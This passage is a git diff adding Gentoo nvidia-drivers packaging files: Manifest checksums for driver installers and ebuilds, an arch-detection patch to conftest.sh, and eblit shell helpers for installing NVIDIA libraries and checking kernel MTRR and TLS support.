+DIST NVIDIA-Linux-x86-325.15.run 27409286 SHA256 3d790e4bfed24641f7cc76879144ab5d52b12271012ba381b0d33aa1a2e08775 SHA512 48052c3daa8748a7c43de1c24e00fdd3f94cebbe7f5efbb185a0472a1d0bbab8adfe377359ccdc6cd8e437a80506fdd551408237b0842c194a3497c43cf3487e WHIRLPOOL 387fb8af1a31cc295abe7b15fee7d5bc01c515603b178abe7f50864dbbf0685ca50f88e67359adc4af8e90caaeb1fba95aa6af9f54e6fced46c82c5cfc094390
+DIST NVIDIA-Linux-x86-96.43.20-pkg0.run 10323541 SHA256 bc778062cf745ee4916de77a702f702312d33eeb3b6f379b63e4366fa5197517
+DIST NVIDIA-Linux-x86_64-173.14.31-pkg2.run 18967067 SHA256 c56cfe43c4fa95102d099e4f1c4e75e58b57d73b4b36a858d54a2a339aad56d9 SHA512 fcb3f004495c8e3ef93b4229b2b64e8ee83a12f2cc5ba1c33bf486b6bf8687e1e1d5b45c2da8721422f6c2190150f7f86bd4b9ec0987d4440343fafb9e18c208 WHIRLPOOL 585728e3d03b1a9cf90fd80c413f2dd432870f49df60bd1335ec0c7143b59005819b4fd655587b0f76d19c28eaa946d6893c4358b8ec7e33000486429684cd1f
+DIST NVIDIA-Linux-x86_64-173.14.34-pkg2.run 19769116 SHA256 30dcdd3cfba4f7d2b5f4977faea573463700b44252e46fb43402e269183dec3e
+DIST NVIDIA-Linux-x86_64-173.14.35-pkg2.run 19767039 SHA256 5af64646b098021b550242fe8eb03817f862af0442023545d1295027f589595f
+DIST NVIDIA-Linux-x86_64-275.09.07.run 51646025 SHA256 747c09b0a0a8d60e1b5fee49fb1ea07ee5812f8e85a87b2403011af6de58164d
+DIST NVIDIA-Linux-x86_64-280.13.run 55011572 SHA256 98a08c7d943912a178a9bbe419db60634088e5262ae9053bf2fe730984e5a012
+DIST NVIDIA-Linux-x86_64-285.05.09.run 56674677 SHA256 7159a1f7e898b50dd49ea2273ac6facb870546ad5496bf70c6fbe1642d2c4970
+DIST NVIDIA-Linux-x86_64-290.10.run 58334192 SHA256 34a2ab07f4ae7afdeb2c8415f3f37c1099e6690eb25f3dbef92eca771f7ce4cd
+DIST NVIDIA-Linux-x86_64-295.20.run 58403208 SHA256 3b84fdeae335c047193f68a1da26f2a736461c35cfe94566fc7ace1e5762d34c
+DIST NVIDIA-Linux-x86_64-295.33.run 58435170 SHA256 4e939bac1ebc03c6439969d638540b99900b0fe4e4799b4186e5ff9521d37b73
+DIST NVIDIA-Linux-x86_64-295.40.run 58446405 SHA256 f6d5ae338b3b8ac6c512d06b335010934a62728f181a1fa5253aa84b7bf45e7a
+DIST NVIDIA-Linux-x86_64-295.49.run 58521195 SHA256 61dc9623ea1981f801d97de7c67c32b7e4f7ef4aaa6744910967cb634d9ace62
+DIST NVIDIA-Linux-x86_64-295.53.run 58522001 SHA256 4525e994a0d0a8cd776415401423e7de3985923637642955c3fe50a3d047d4ca
+DIST NVIDIA-Linux-x86_64-295.59.run 58529480 SHA256 4b1d96389abd2b804ad470c5189142a02ee4c82c1ac56cea37ecb45e8051313e
+DIST NVIDIA-Linux-x86_64-302.17.run 58653717 SHA256 5cf9059ebb70ade99e5621c0a605ed5bbb6c274f7c52a7ef40342ceb41b381fc
+DIST NVIDIA-Linux-x86_64-304.22.run 60141600 SHA256 4c1b6f7dcda007622bb5e243b858abdb3881d5d5befdc617b23393545d9c96fd SHA512 06dac9e042baa836b1f2d9cd360b2ca3545dcff4b382ed9d29e8e442ab5e9dc241b5f75250c3dce73e0e7958bccaa16ac48415ae5f2fc7cbc65689bd7a6e7640 WHIRLPOOL a7d1a1abe5cdedc743b43fa1627dc9094ab32cea3645cdd5cfd53a33929d0a48f4d3efaa7311ff6f0ba99d31a112e6872cb4cad3d1cafbd996646020d8dd7f40
+DIST NVIDIA-Linux-x86_64-304.37.run 64075318 SHA256 cae75158047d0b97ea48f269fd2903a6731f53b978a1065720343436c97ca9c2
+DIST NVIDIA-Linux-x86_64-304.64.run 67695715 SHA256 b3c3bb7f136ccd978c9c5a511a02199ec2498c4243baae19ac68e5d905ca5340 SHA512 77241676900bf5f9fa93f5628ae9c5ffc35c41de31fbb9e777e55204cd1183d344d7ad5d00e52efe5caa91330f6157d9d2cba66764256673dbfbe61fe6797de3 WHIRLPOOL a8744fb747569e5106d486200231f0caf99ac3896b8cc358ea581486cf98506ed21b54407665acb461c40fcd89cfa04ac540b6c959856aaf14979abce75999d1
+DIST NVIDIA-Linux-x86_64-304.88.run 68041437 SHA256 c1a73211566b085214b0ad1824733aa56d09c6139f729feebd0eff44f6113da3 SHA512 8a907f9ed307b1e4b5563a9aba9d6c1c036885cd64a4a229d6831eb7a855921971e652b7940333e366d5088f97cf3596fb739853b3c3cf94446ee0cea6164ab2 WHIRLPOOL 2e43479bb52d1dcbe1007cda779ab21ed064883769358a09bdd765e55f6b35a855a51006e070d33ddd2a3808802cdb4fa2ae63cc7cc189561934d00574492ca8
+DIST NVIDIA-Linux-x86_64-310.19.run 68022245 SHA256 3326cf9eb432a10fee5cb663132cd6c175813d0225750ef237dcc7feefd20fca SHA512 035a0cb62f4d307683ada7fff380fbe8a9433cee0ee6a8b1986e9d59b55a23484305903f84e77fb6a7440e06efce012feae1da658a304e790e2022c028541a69 WHIRLPOOL 523a9ca07d18cfa1afb1f4e527cecf1c4778650eaa81d1e627fd1c65b4ab459d02e5ce726d0190c57e677c6ef3c22afef8c6aaa99892731faf3415138e9e7635
+DIST NVIDIA-Linux-x86_64-313.18.run 68386461 SHA256 9aaf6ce2fb08f72b2ab4f7a2d9fc5af8216ac263fa4883deec3844f34ea7ba3a SHA512 d1017763f6cef96a443f9d7890ca940d742cd17fb8b1d926440483987e22d350a57bcce98962d6130c5e2ac697926dbb560f148f45ba7659ff3412443b53473c WHIRLPOOL 0180fff2e5e7bd9fb731fdee3c81e1b26a7962d989e998dc9fa67e4a836526e10e6de01cfc1e6650d9ff4a5cc334b5c27740df309b3dd403dfd13795c48d6f29
+DIST NVIDIA-Linux-x86_64-313.30.run 68379307 SHA256 72317f2e4c459c33c764e3283deb3e1615b1852ead1f9bfad82148e120506022 SHA512 ae4439697e47eff98e06e5f77de979bdce096f95efa8bdee9c6fc939b42b5ce3b11c23d7691e974cf0f6f783eeb0fb694670636538352a0e8979f88d687f1f86 WHIRLPOOL c12a68fcc4d78f3856d87a86cef43c3632c0db1b6c5799b6482584d4d83a7cc863b9b394a501b96534175e11663c602d72f6ffa49f85461eaf4324dc61e654ff
+DIST NVIDIA-Linux-x86_64-325.15.run 48034648 SHA256 01446fbd94f6eb3b2e1b3d3f2b06970bf470c3ee2cb1838b3d0c2416e6c74500 SHA512 323cbd8e6f3ce29a1556b83b2fb3456f919964ede1cbee4ddaa3539ab75eda7abe26b96ba500462eed2ade4163b8de20d1db6ea987af923710f0e1a60e432e83 WHIRLPOOL 7c05717a2cfcb003a8c1f9fc5f5e24cfd5216aca7167ee8f29b60c43262fc61afab9619147ee07cb2541aa1d55b13a730b52c90979b7970df709fb659fe782ff
+DIST NVIDIA-Linux-x86_64-96.43.20-pkg2.run 14572507 SHA256 562107a262e250b836966e29851628f6162ee2857d53252221c780d9b201de18
+EBUILD nvidia-drivers-173.14.31.ebuild 5562 SHA256 b159128f017cdb21513d46a76dfa6500ef0db483caa3d614a28bdaa51f083398 SHA512 c34ef34d443f31bb02b41e809c6414359882684cb5ed3ae9e484feb421a254d2edfbf8763dd7008534babd5440f33f0ded61400d1975314e9beadfa50ac34df5 WHIRLPOOL efb4fbf62503500710c3ad768be155cb136172687af5c5f9a04d089c670e7435e90397dd80e74de1393358b2a7e957658735e50b3824829ed71dee9f3e116bc6
+EBUILD nvidia-drivers-173.14.34.ebuild 5822 SHA256 5ebfe7996d5ff32b05f1cfcfc7ec97d6b5e8c9853861f3b4c6e32677b93da15d SHA512 5f72430412008986d5597e0f25c415be81c80d7507a194c748a8341076e878bb6f40b24ece667e92cfcd2dab00b22d91ff85508d5a31678926a07fc1dc0598b8 WHIRLPOOL 3840deaeb534b10bb9a1155fe8395c96366e995390ade2d20cc712705740b9f2d5eaaa81e0aff197d10c98851ab2e2408d3fdfd21e602ca504ab13dffd5e6ca8
+EBUILD nvidia-drivers-173.14.35.ebuild 5822 SHA256 5ebfe7996d5ff32b05f1cfcfc7ec97d6b5e8c9853861f3b4c6e32677b93da15d SHA512 5f72430412008986d5597e0f25c415be81c80d7507a194c748a8341076e878bb6f40b24ece667e92cfcd2dab00b22d91ff85508d5a31678926a07fc1dc0598b8 WHIRLPOOL 3840deaeb534b10bb9a1155fe8395c96366e995390ade2d20cc712705740b9f2d5eaaa81e0aff197d10c98851ab2e2408d3fdfd21e602ca504ab13dffd5e6ca8
+EBUILD nvidia-drivers-275.09.07.ebuild 5459 SHA256 d6f5fbf5c6da10e99f622d69d9f8bb1b612160dc238839ba77bfb078b4e89ae9 SHA512 8b228d2175740bc6ecec275985059816111f16c1cd3528c90d62fcf1364e56fad8787924d35b51d7a080b40a6b6ce714cb8b85dfa46ff857028c208f2e7c9ad7 WHIRLPOOL d029d3d0549c7bcb16f6f0712366ccc406f8a1bed8987b6dbf56f010c87776d8c6693c2f891487dc1b023f45bfd11777a1d4d969a83aff079e92c610c64d0a9f
+EBUILD nvidia-drivers-280.13.ebuild 5533 SHA256 608ad531cc444b4fde265af01834d9c72d836c92c34a0441fc42608f1b42ac6d SHA512 d6371d637c4057f514d6afb6519b9b4d988ac005101d7b57029634c7c87c32656b73d11f54a95966d4d8255ab6da5c1b7969d745d13884361a43fbe759c74b64 WHIRLPOOL 0f0d236a07929d7e8daa531c720b015f00f283b75c3d9846dd31e801c2beef5deb5b3fc0acdc183953adbcb68f6a265c272d253b197938e4372c320e6fd0b46d
+EBUILD nvidia-drivers-285.05.09.ebuild 5459 SHA256 d6f5fbf5c6da10e99f622d69d9f8bb1b612160dc238839ba77bfb078b4e89ae9 SHA512 8b228d2175740bc6ecec275985059816111f16c1cd3528c90d62fcf1364e56fad8787924d35b51d7a080b40a6b6ce714cb8b85dfa46ff857028c208f2e7c9ad7 WHIRLPOOL d029d3d0549c7bcb16f6f0712366ccc406f8a1bed8987b6dbf56f010c87776d8c6693c2f891487dc1b023f45bfd11777a1d4d969a83aff079e92c610c64d0a9f
+EBUILD nvidia-drivers-290.10.ebuild 5542 SHA256 c541fd027041539c16214b10e5e3ebd103b7a1487bf57aefa7a0842ed862acfc SHA512 18e5169d8f46028547af0b17391cef60295e2a0782fc7f94f549b9801d8445214d2aa7af570c608b98081faa75a446c3f2a6c6846b03c9101c45507e1461e983 WHIRLPOOL 41da7159daa32e57658e0675f9d0c5fdf26ae578dfaac799bdff55611f54d8800cd17b2ade5b2cebc514ad9775de6d51a7578c36191fdf5cccd4d315602fdf0c
+EBUILD nvidia-drivers-295.20.ebuild 5459 SHA256 d6f5fbf5c6da10e99f622d69d9f8bb1b612160dc238839ba77bfb078b4e89ae9 SHA512 8b228d2175740bc6ecec275985059816111f16c1cd3528c90d62fcf1364e56fad8787924d35b51d7a080b40a6b6ce714cb8b85dfa46ff857028c208f2e7c9ad7 WHIRLPOOL d029d3d0549c7bcb16f6f0712366ccc406f8a1bed8987b6dbf56f010c87776d8c6693c2f891487dc1b023f45bfd11777a1d4d969a83aff079e92c610c64d0a9f
+EBUILD nvidia-drivers-295.33.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
+EBUILD nvidia-drivers-295.40.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
+EBUILD nvidia-drivers-295.49.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
+EBUILD nvidia-drivers-295.53.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
+EBUILD nvidia-drivers-295.59.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
+EBUILD nvidia-drivers-302.17.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
+EBUILD nvidia-drivers-304.22.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
+EBUILD nvidia-drivers-304.37.ebuild 5194 SHA256 9a59cc5bedb79f5eeac96fe9aee931eee160fb1eb2e1c8f581d363b135212ca1 SHA512 ade6904be753f54e6f7d11c7101040826b8d1358d5232c88ec7f7bccc7266f0d98abb97097b35e57743a9b5bb6ade15c9736484a226540cd2c0d370a612eaaf9 WHIRLPOOL 1577089a20d3e65bd160170e12bbe562e71e923e18aa9d59c59183866f8810fafd0d326f4bd427031383c90c989c10ab3af85ce0427cd4b6a851bc4d9ed9ed59
+EBUILD nvidia-drivers-304.64.ebuild 12742 SHA256 bae8fe02ef6129f3015c37d976a6812529ca402d34dc17eec4f51f32d8e8d991 SHA512 b2d769d594f39ae0a8afa70f3113b7f4a755925e536fdc2b44c4313059e1eed74146844acf93bbb05da481272d1be897c977726d500cb395b92f796ef39effc8 WHIRLPOOL 9cec9dfa9056512bf4b9e7297cf28e49e3688bc97616dfe62bcb35e0aff84829bdd5213c6e779510e83a5e4a00d493737648f944519b7b7dc18dd58eb9bd325d
+EBUILD nvidia-drivers-304.88.ebuild 5534 SHA256 a5f3fc0447e44ef665327e6c6f81fd5c6e42b411307ba16f5c162c49b59ed770 SHA512 7b4abd4e2b14bb775ff9439b771d910a0fbc5fa542cee5cf06dea09d3567c3a2caea2d05738937842a322d050d4e3e43850b586f0dad3cea1670c2abccd13070 WHIRLPOOL 31cf94b729e6fa89a5c906b54c99f13fd2f4c7460c625f72935978654b324f03a4b1c4d67358d9898c855c43d8450964a059ec0da3dcb6d7345c431383805146
+EBUILD nvidia-drivers-310.19.ebuild 5194 SHA256 9a59cc5bedb79f5eeac96fe9aee931eee160fb1eb2e1c8f581d363b135212ca1 SHA512 ade6904be753f54e6f7d11c7101040826b8d1358d5232c88ec7f7bccc7266f0d98abb97097b35e57743a9b5bb6ade15c9736484a226540cd2c0d370a612eaaf9 WHIRLPOOL 1577089a20d3e65bd160170e12bbe562e71e923e18aa9d59c59183866f8810fafd0d326f4bd427031383c90c989c10ab3af85ce0427cd4b6a851bc4d9ed9ed59
+EBUILD nvidia-drivers-313.18.ebuild 12331 SHA256 bac39af82126d68e14a6ee565283fa44c9e01e8266a712ca96a959c552af4cf1 SHA512 800513f01ba2724f9d463b30731b4dd43bb032a1a344857feceebf7f5b9a49455e7fd08efe729902307771b235c018875a49216dc54216415423186ad9bd9b45 WHIRLPOOL e292caf68db2aa4c958a040e706dda09d1e0d70291989a712400905c1301f5b5801bac7519e950f0266e56f2e8dfe0360a0a1b8831ab11cdf1838ed7953c0a9d
+EBUILD nvidia-drivers-313.30.ebuild 5446 SHA256 8006292fb618edc9830e2374af58e409ab0a1fa4e8a7efd46196f72651e28b2a SHA512 da272cc2007ddebcd9a6f1e28625023766052a9656c313a694f7a8d2c903bc13a93e32ee56fc515117d1a4c6d5b96bb900f311dd1d9a02c433852d153d9b5cae WHIRLPOOL 9d3e7eaf35aefac774ef5d5b0d32aaa05359e9cf428c96e5e0df00774faf5bdf6eecee50319c0294d66b8120328dca426f79e3c2e4f921d2ce9976134a271c48
+EBUILD nvidia-drivers-325.15.ebuild 5519 SHA256 b22c16ffc827d78f70817ba80486ad395489b10d35b8e05be2e741416ff5c393 SHA512 a815a04e9e1776a7e5282de03143c9cc474e747f2c23c048d72883d6b1cbac34500bebe13d2a7bf82c22c0f98fb926a674f34ca476e4b0317c690394380cc430 WHIRLPOOL c2fff2f946bfe5dc7da16c0bdb6f23cfda350e075688d9cbad4ab344b67b676c3b7488a73cff9cd0fac570d4a7ac726718dc689ca4bae4bce6224909a484cae1
+EBUILD nvidia-drivers-96.43.20.ebuild 5562 SHA256 b159128f017cdb21513d46a76dfa6500ef0db483caa3d614a28bdaa51f083398 SHA512 c34ef34d443f31bb02b41e809c6414359882684cb5ed3ae9e484feb421a254d2edfbf8763dd7008534babd5440f33f0ded61400d1975314e9beadfa50ac34df5 WHIRLPOOL efb4fbf62503500710c3ad768be155cb136172687af5c5f9a04d089c670e7435e90397dd80e74de1393358b2a7e957658735e50b3824829ed71dee9f3e116bc6
+MISC metadata.xml 340 SHA256 a8c83e426e095e92dc8d7553bde38172a3bb73717ec0469c78dba0a46f86194d SHA512 757fe60892996ee752008276a385ed2ba785837723beac28744e414d19e2312f956e300559519005ff3d465db2593e61804e6b7907e1faaf551d2633cf09c6aa WHIRLPOOL 483042f678dacfba03244f676d5b47035de23751c6cf306c87d0ff12856ca3dd8ce10bc826bdc90bcb1b9be8a673cc68fbe506998bac564f0a55d7bf64481fe8
diff --git a/x11-drivers/nvidia-drivers/files/10nvidia b/x11-drivers/nvidia-drivers/files/10nvidia
new file mode 100644
index 00000000..f1bc2fef
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/10nvidia
@@ -0,0 +1 @@
+__GL_NO_DSO_FINALIZER="1"
diff --git a/x11-drivers/nvidia-drivers/files/256.35-unified-arch.patch b/x11-drivers/nvidia-drivers/files/256.35-unified-arch.patch
new file mode 100644
index 00000000..da92b8f0
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/256.35-unified-arch.patch
@@ -0,0 +1,30 @@
+diff -NuarpbB NVIDIA-Linux-x86-256.25-ori/kernel/conftest.sh NVIDIA-Linux-x86-256.25/kernel/conftest.sh
+--- NVIDIA-Linux-x86-256.25-ori/kernel/conftest.sh	2010-05-19 05:38:57.000000000 +0200
++++ NVIDIA-Linux-x86-256.25/kernel/conftest.sh	2010-05-22 02:13:56.000000000 +0200
+@@ -101,7 +101,7 @@ build_cflags() {
+ 
+     if [ "$OUTPUT" != "$SOURCES" ]; then
+         MACH_CFLAGS="-I$HEADERS/asm-$ARCH/mach-default"
+-        if [ "$ARCH" = "i386" -o "$ARCH" = "x86_64" ]; then
++        if [ "$ARCH" = "i386" -o "$ARCH" = "x86_64" -o "$ARCH" = "x86" ]; then
+             MACH_CFLAGS="$MACH_CFLAGS -I$HEADERS/asm-x86/mach-default"
+             MACH_CFLAGS="$MACH_CFLAGS -I$SOURCES/arch/x86/include/asm/mach-default"
+         fi
+@@ -110,7 +110,7 @@ build_cflags() {
+         fi
+     else
+         MACH_CFLAGS="-I$HEADERS/asm/mach-default"
+-        if [ "$ARCH" = "i386" -o "$ARCH" = "x86_64" ]; then
++        if [ "$ARCH" = "i386" -o "$ARCH" = "x86_64" -o "$ARCH" = "x86" ]; then
+             MACH_CFLAGS="$MACH_CFLAGS -I$HEADERS/asm-x86/mach-default"
+             MACH_CFLAGS="$MACH_CFLAGS -I$SOURCES/arch/x86/include/asm/mach-default"
+         fi
+@@ -121,7 +121,7 @@ build_cflags() {
+ 
+     CFLAGS="$BASE_CFLAGS $MACH_CFLAGS $OUTPUT_CFLAGS -I$HEADERS $AUTOCONF_CFLAGS"
+ 
+-    if [ "$ARCH" = "i386" -o "$ARCH" = "x86_64" ]; then
++    if [ "$ARCH" = "i386" -o "$ARCH" = "x86_64" -o "$ARCH" = "x86" ]; then
+         CFLAGS="$CFLAGS -I$SOURCES/arch/x86/include"
+     fi
+     if [ -n "$BUILD_PARAMS" ]; then
diff --git a/x11-drivers/nvidia-drivers/files/eblits/donvidia.eblit b/x11-drivers/nvidia-drivers/files/eblits/donvidia.eblit
new file mode 100644
index 00000000..75b39cfb
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/eblits/donvidia.eblit
@@ -0,0 +1,21 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/nvidia-drivers/files/eblits/donvidia.eblit,v 1.1 2008/12/18 18:27:35 cardoe Exp $
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	# libnvidia-cfg.so is no longer supplied in lib32; step over it gracefully
+	if [ -e $2.$3 ] ; then
+		doexe $2.$3
+		dosym ${libname}.$3 $1/${libname}
+		[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+	fi
+}
diff --git a/x11-drivers/nvidia-drivers/files/eblits/mtrr_check.eblit b/x11-drivers/nvidia-drivers/files/eblits/mtrr_check.eblit
new file mode 100644
index 00000000..b14df34b
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/eblits/mtrr_check.eblit
@@ -0,0 +1,19 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/nvidia-drivers/files/eblits/mtrr_check.eblit,v 1.1 2008/12/18 18:27:35 cardoe Exp $
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
diff --git a/x11-drivers/nvidia-drivers/files/eblits/src_install-libs.eblit b/x11-drivers/nvidia-drivers/files/eblits/src_install-libs.eblit
new file mode 100644
index 00000000..e48d11ce
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/eblits/src_install-libs.eblit
@@ -0,0 +1,116 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distribnuted under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/nvidia-drivers/files/eblits/src_install-libs.eblit,v 1.1 2008/12/18 18:27:35 cardoe Exp $
+#
+src_install-libs() {
+	local pkglibdir=lib
+	local inslibdir=$(get_libdir)
+
+	if [[ ${#} -eq 2 ]] ; then
+		pkglibdir=${1}
+		inslibdir=${2}
+	elif has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+		pkglibdir=lib32
+	fi
+
+	local usrpkglibdir=usr/${pkglibdir}
+	local libdir=usr/X11R6/${pkglibdir}
+	local drvdir=${libdir}/modules/drivers
+	local extdir=${libdir}/modules/extensions
+	local incdir=usr/include/GL
+	local sover=${PV}
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local NO_TLS_ROOT="${NV_ROOT}/no-tls"
+	local TLS_ROOT="${NV_ROOT}/tls"
+	local X11_LIB_DIR="/usr/${inslibdir}/xorg"
+
+	if use x86-fbsd; then
+		# on FreeBSD everything is on obj/
+		pkglibdir=obj
+		usrpkglibdir=obj
+		x11pkglibdir=obj
+		drvdir=obj
+		extdir=obj
+
+		# don't ask me why the headers are there.. glxext.h is missing
+		incdir=doc
+
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${usrpkglibdir}/libGL.so ${sover}
+	donvidia ${NV_ROOT}/lib ${usrpkglibdir}/libGLcore.so ${sover}
+
+	donvidia ${NV_ROOT}/lib ${usrpkglibdir}/libnvidia-cfg.so ${sover}
+
+	dodir ${NO_TLS_ROOT}
+	donvidia ${NO_TLS_ROOT} ${usrpkglibdir}/libnvidia-tls.so ${sover}
+
+	if ! use x86-fbsd; then
+		donvidia ${TLS_ROOT} ${usrpkglibdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	if want_tls ; then
+		dosym ../tls/libnvidia-tls.so ${NV_ROOT}/lib
+		dosym ../tls/libnvidia-tls.so.1 ${NV_ROOT}/lib
+		dosym ../tls/libnvidia-tls.so.${sover} ${NV_ROOT}/lib
+	else
+		dosym ../no-tls/libnvidia-tls.so ${NV_ROOT}/lib
+		dosym ../no-tls/libnvidia-tls.so.1 ${NV_ROOT}/lib
+		dosym ../no-tls/libnvidia-tls.so.${sover} ${NV_ROOT}/lib
+	fi
+
+	if ! use x86-fbsd; then
+		# Install the .la file for libtool, to prevent e.g. bug #176423
+		[ -f "${FILESDIR}/libGL.la-r2" ] || die "libGL.la-r2 missing in FILESDIR"
+		local ver1=$(get_version_component_range 1)
+		local ver2=$(get_version_component_range 2)
+		local ver3=$(get_version_component_range 3)
+		sed -e "s:\${PV}:${PV}:"     \
+			-e "s:\${ver1}:${ver1}:" \
+			-e "s:\${ver2}:${ver2}:" \
+			-e "s:\${ver3}:${ver3}:" \
+			-e "s:\${libdir}:${inslibdir}:" \
+			"${FILESDIR}"/libGL.la-r2 > "${D}"/${NV_ROOT}/lib/libGL.la
+	fi
+
+	exeinto ${X11_LIB_DIR}/modules/drivers
+
+	[[ -f ${drvdir}/nvidia_drv.so ]] && \
+		doexe ${drvdir}/nvidia_drv.so
+
+	insinto /usr/${inslibdir}
+	[[ -f ${libdir}/libXvMCNVIDIA.a ]] && \
+		doins ${libdir}/libXvMCNVIDIA.a
+	exeinto /usr/${inslibdir}
+	# fix Bug 131315
+	[[ -f ${libdir}/libXvMCNVIDIA.so.${PV} ]] && \
+		doexe ${libdir}/libXvMCNVIDIA.so.${PV} && \
+		dosym libXvMCNVIDIA.so.${PV} \
+			/usr/${inslibdir}/libXvMCNVIDIA.so
+
+	exeinto ${NV_ROOT}/extensions
+	[[ -f ${libdir}/modules/libnvidia-wfb.so.${sover} ]] && \
+		newexe ${libdir}/modules/libnvidia-wfb.so.${sover} libwfb.so
+	[[ -f ${extdir}/libglx.so.${sover} ]] && \
+		newexe ${extdir}/libglx.so.${sover} libglx.so
+
+	# Includes
+	insinto ${NV_ROOT}/include
+	doins ${incdir}/*.h
+
+	#cuda
+	if [[ -f usr/include/cuda/cuda.h ]]; then
+		dodir /usr/include/cuda
+		insinto /usr/include/cuda
+		doins usr/include/cuda/*.h
+
+		if [[ -f usr/${pkglibdir}/libcuda.so.${PV} ]]; then
+			dolib.so usr/${pkglibdir}/libcuda.so.${PV}
+			dosym libcuda.so.${PV} /usr/${inslibdir}/libcuda.so.1
+			dosym libcuda.so.1 /usr/${inslibdir}/libcuda.so
+		fi
+	fi
+}
diff --git a/x11-drivers/nvidia-drivers/files/eblits/want_tls.eblit b/x11-drivers/nvidia-drivers/files/eblits/want_tls.eblit
new file mode 100644
index 00000000..4debb85d
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/eblits/want_tls.eblit
@@ -0,0 +1,33 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/nvidia-drivers/files/eblits/want_tls.eblit,v 1.1 2008/12/18 18:27:35 cardoe Exp $
+
+want_tls() {
+	# For uclibc or anything non glibc, return false
+	has_version sys-libs/glibc || return 1
+
+	# Old versions of glibc were lt/no-tls only
+	has_version '<sys-libs/glibc-2.3.2' && return 1
+
+	if use x86 ; then
+		case ${CHOST/-*} in
+			i486|i586|i686) ;;
+			*) return 1 ;;
+		esac
+	fi
+
+	# If we've got nptl, we've got tls
